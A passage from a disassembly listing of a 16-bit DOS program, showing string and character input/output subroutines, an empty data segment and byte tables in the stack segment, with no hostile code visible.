jz loc_ret_104 ; Jump if zero
mov data_69,ax ; (0000:0036=0C800h)
jmp short loc_ret_104
sub_42 endp
db 8Bh, 0DCh, 36h, 0C4h, 7Fh, 4
db 6, 57h, 0E8h, 0E3h, 0FEh, 75h
db 0Dh, 0E8h, 2, 0FFh, 72h, 1
db 43h
loc_106:
pop di
pop es
mov es:[di+8],bx
ret ; Return far
db 0B0h, 1Ah, 0EBh, 0F5h
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_44 proc far
mov bx,sp
les di,dword ptr ss:[bx+8] ; Load 32 bit ptr
mov al,ss:[bx+6]
mov cx,ss:[bx+4]
push es
push di
call sub_39
jnz loc_109 ; Jump if not zero
dec cx
jle loc_108 ; Jump if < or =
xchg ax,si
locloop_107:
mov al,20h ; ' '
call sub_40
loop locloop_107 ; Loop if cx > 0
xchg ax,si
loc_108:
call sub_40
loc_109:
pop di
pop es
mov es:[di+8],bx
ret 4 ; Return far
sub_44 endp
db 55h, 8Bh, 0ECh, 1Eh, 0C4h, 7Eh
db 0Ch, 6, 57h, 0E8h, 97h, 0FEh
db 0C5h, 76h, 8, 0B9h, 0, 0
db 75h, 15h
loc_110:
call sub_38
cmp al,0Dh
je loc_111 ; Jump if equal
cmp al,1Ah
je loc_111 ; Jump if equal
inc bx
inc cx
inc si
mov [si],al
cmp cx,[bp+6]
jne loc_110 ; Jump if not equal
loc_111:
sub si,cx
mov [si],cl
pop di
pop es
mov es:[di+8],bx
pop ds
pop bp
ret 6 ; Return far
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_45 proc far
push bp
mov bp,sp
push ds
les di,dword ptr [bp+0Ch] ; Load 32 bit ptr
push es
push di
call sub_39
jnz loc_115 ; Jump if not zero
lds si,dword ptr [bp+8] ; Load 32 bit ptr
mov cx,[bp+6]
cld ; Clear direction
lodsb ; String [si] to al
xor ah,ah ; Zero register
sub cx,ax
jle loc_113 ; Jump if < or =
locloop_112:
mov al,20h ; ' '
call sub_40
loop locloop_112 ; Loop if cx > 0
mov al,[si-1]
xor ah,ah ; Zero register
loc_113:
mov cx,ax
jcxz loc_115 ; Jump if cx=0
locloop_114:
cld ; Clear direction
lodsb ; String [si] to al
call sub_40
loop locloop_114 ; Loop if cx > 0
loc_115:
pop di
pop es
mov es:[di+8],bx
pop ds
pop bp
ret 6 ; Return far
sub_45 endp
db 0
seg_c ends
;-------------------------------------------------------------- seg_d -----
seg_d segment para public
assume cs:seg_d, ds:seg_d, ss:stack_seg_e
db 4 dup (0)
data_39 dw 0
db 4 dup (0)
data_40 dw 0
data_41 dw 0
data_42 dw 0
data_43 dw 0
db 6 dup (0)
data_44 dw 0
dw 0
data_45 dw 0
dw 0
data_46 dw 0
db 6 dup (0)
data_47 dw 0
data_48 dw 0
data_49 dw 0
data_50 dw 0
data_51 dw 0
data_52 dw 0
db 0, 0
data_53 dw 0
db 0, 0, 0, 0, 2, 0
data_54 db 0
db 17 dup (0)
data_56 db 0
db 591 dup (0)
seg_d ends
;--------------------------------------------------------- stack_seg_e ----
stack_seg_e segment para stack
db 105 dup (0)
db 15767 dup (0)
db 0E4h, 32h, 2Ch, 28h, 41h, 29h
db 45h, 52h, 0AEh, 2Dh, 0A1h, 34h
db 34h, 33h, 0F1h, 4Ah, 0F2h, 33h
db 46h, 3Eh, 0D2h, 3Eh, 0Dh, 3Fh
db 68h, 49h, 5Ah, 4Ah, 6, 4Eh
db 92h, 4Eh, 98h, 50h, 47h, 51h
db 0B8h, 28h, 0B3h, 4Dh, 7Fh, 4Eh
db 24h, 51h, 0A6h, 4Dh, 75h, 4Fh
db 3Ch, 52h, 0CEh, 2Dh, 0A5h, 4Eh
db 6Ah, 51h, 0FCh, 28h, 0F4h, 2Fh
db 83h, 2Ch, 0A1h, 37h, 0A8h
db '?n/>ELM;NQN'
db 0BBh, 50h, 0DEh, 50h, 2Fh, 37h
db 0DBh, 4Eh, 0F8h, 4Eh, 0Dh, 4Fh
db 22h, 4Fh, 0B0h, 51h, 0D3h, 51h
db 0F6h, 51h, 19h, 52h, 0D6h, 29h
db 45h, 32h, 64h, 4Eh, 9Bh, 31h
db 5, 33h, 6Dh, 4Dh, 80h, 4Dh
db 93h, 4Dh, 0E0h, 4Dh, 0F3h, 4Dh
db 0E9h, 4Fh, 0Ch
db 'P/PRPuPU0'
db 82h, 38h, 74h, 3Ah, 9Dh, 3Ah
db 0F1h, 41h, 8Ch, 2Eh, 0B7h, 2Eh
db 0F9h, 2Eh, 66h, 2Fh, 7Ch, 2Fh
db 9Ah, 2Ch, 7Fh, 3Ch, 17h, 44h
db 37h, 4Dh, 3Fh, 4Fh, 52h, 4Fh
db 93h, 2Ch, 47h, 4Dh, 16h, 4Eh
db 4Fh, 4Fh, 0FDh, 31h, 45h, 3Eh
db 95h, 4Bh, 94h, 2Ch, 48h, 4Dh
db 17h, 4Eh, 50h, 4Fh, 0BEh, 4Eh
db 8Dh, 51h, 0FDh, 29h, 0BCh, 4Dh
db 72h, 33h, 87h, 33h, 7Dh, 4Dh
db 90h, 4Dh, 0A3h, 4Dh, 0F0h, 4Dh
db 3, 4Eh, 61h, 4Eh, 8Fh, 4Eh
db 0A2h, 4Eh, 0BCh
db 'O>', 27h, '?', 27h, '@', 27h, 'A'
db 27h, 'B', 27h, 'C', 27h, 'Z'
db 0, 0, 0C2h, 2Ah
db 11 dup (0)
db 0D8h
db ')#*$*%*&*', 27h, '*(*)***+*,*-*.'
db '*/*0*1*2*3*4*5*6*7*8*9*Z'
db 0, 0, 0BEh, 2Ah
db 11 dup (0)
db '^*_*`*a*b*c*d*e*f*g*h*i*j*k*l*m*'
db 'n*o*p*q*r*s*t*u*v*w*x*y*7+=+>+?+'
db '@+A+B+G+H+I+J+S+T+U+V+W+X+]+^+_+'
db '`+r+s+', 7Fh, '+'
db 80h, 2Bh, 81h, 2Bh, 82h, 2Bh
db 83h, 2Bh, 84h, 2Bh, 0AFh, 2Bh
db 0B0h, 2Bh, 0B1h, 2Bh, 0B2h, 2Bh
db 0B3h, 2Bh, 0B4h, 2Bh, 0BAh, 2Bh
db 0BBh, 2Bh, 0BCh, 2Bh, 0F7h, 2Bh
db 0F8h, 2Bh, 0F9h, 2Bh, 8Fh, 2Ch
db 90h, 2Ch, 91h, 2Ch, 0A7h, 2Ch
db 0A8h, 2Ch, 0AFh, 2Ch, 0B0h, 2Ch
db 0B1h, 2Ch, 0B2h, 2Ch, 0B3h, 2Ch
db 0B4h, 2Ch, 0BAh, 2Ch, 0BBh, 2Ch
db 0BCh, 2Ch, 0D2h, 2Ch, 0D3h, 2Ch
db 0D4h, 2Ch, 0D5h, 2Ch, 0D6h, 2Ch
db 0D7h, 2Ch, 0DFh, 2Ch, 0E0h, 2Ch
db 0E1h, 2Ch, 0E2h, 2Ch, 0E3h, 2Ch
db 0E4h, 2Ch, 0EAh, 2Ch, 0EBh, 2Ch
db 0ECh, 2Ch, 0F6h, 2Ch, 0F7h, 2Ch
db 0F8h, 2Ch, 0F9h, 2Ch, 0FAh, 2Ch
db 0FBh
db 2Ch
stack_seg_e ends
end start